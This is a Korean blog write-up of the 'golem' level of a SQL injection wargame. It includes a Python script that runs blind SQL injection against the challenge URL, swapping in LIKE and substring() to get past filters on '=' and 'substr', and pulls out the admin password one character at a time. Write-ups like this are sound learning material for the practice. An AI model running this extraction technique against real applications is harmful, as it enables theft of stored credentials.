article thumbnail image
Published 2021. 7. 11. 08:08

 

golem 입장!

이번 문제를 해결하기 위해서는 admin의 pw를 알아내야 한다.

소스코드에 주어진 query는 id만을 가져오게 되어있다.

대신 Hello admin이라는 문자열을 통해 쿼리의 참 거짓을 알아낼 수 있다.

즉 Blind SQL Injection으로 해결할 수 있다.

 

먼저 password의 길이를 알아내야 한다. password의 길이는 8이다.

이제 admin의 pw를 알아내기 위한 자동화 프로그램이 필요하다. 자동화 프로그램 소스코드는 아래와 같다.

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies={'PHPSESSID':'tt2tomujp7112o1mpv542v48j2'}

pw = ''

for i in range(1, 9):
    for ch in range(48,127):
        data = "?pw=' || id like 'admin' %26%26 substring(pw, " + str(i) + ", 1) like '" + chr(ch)
        payload = url + data
        res = requests.get(payload, cookies=cookies)
        if(res.text.find("Hello admin") > 0):
            pw += chr(ch)
            print("[+] Finding... :", pw)
            break
        
print ("[*] Find Password :", pw)

문제에 나와 있는 소스코드를 잘 보면 '='와 'substr('를 필터링하고 있다.

따라서 '='를 쓰는 대신에 like절을 사용해서 필터링을 우회하고, substr에 대신에 substring 함수를 사용했다.

query의 결과가 참이면 Hello admin을 출력하기 때문에 해당 문자열로 참 / 거짓을 판별한다.

 

프로그램의 실행결과는 아래와 같다.

admin의 password는 77D6290B이다.

 

 

 

payload를 다음과 같이 작성했지만 문제를 clear할 수 없었다.

 

 

 

영어를 대문자에서 소문자로 바꿔 다시 작성해봤다.

 

 

 

그 결과 golem을 clear했다.

golem 해결!

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[LOS] darkknight  (0) 2021.07.17
[natas] Level 20 -> Level 21  (0) 2021.07.17
[natas] Level 19 -> Level 20  (0) 2021.07.11
[LOS] skeleton  (0) 2021.06.27
[LOS] vampire  (0) 2021.06.27
복사했습니다!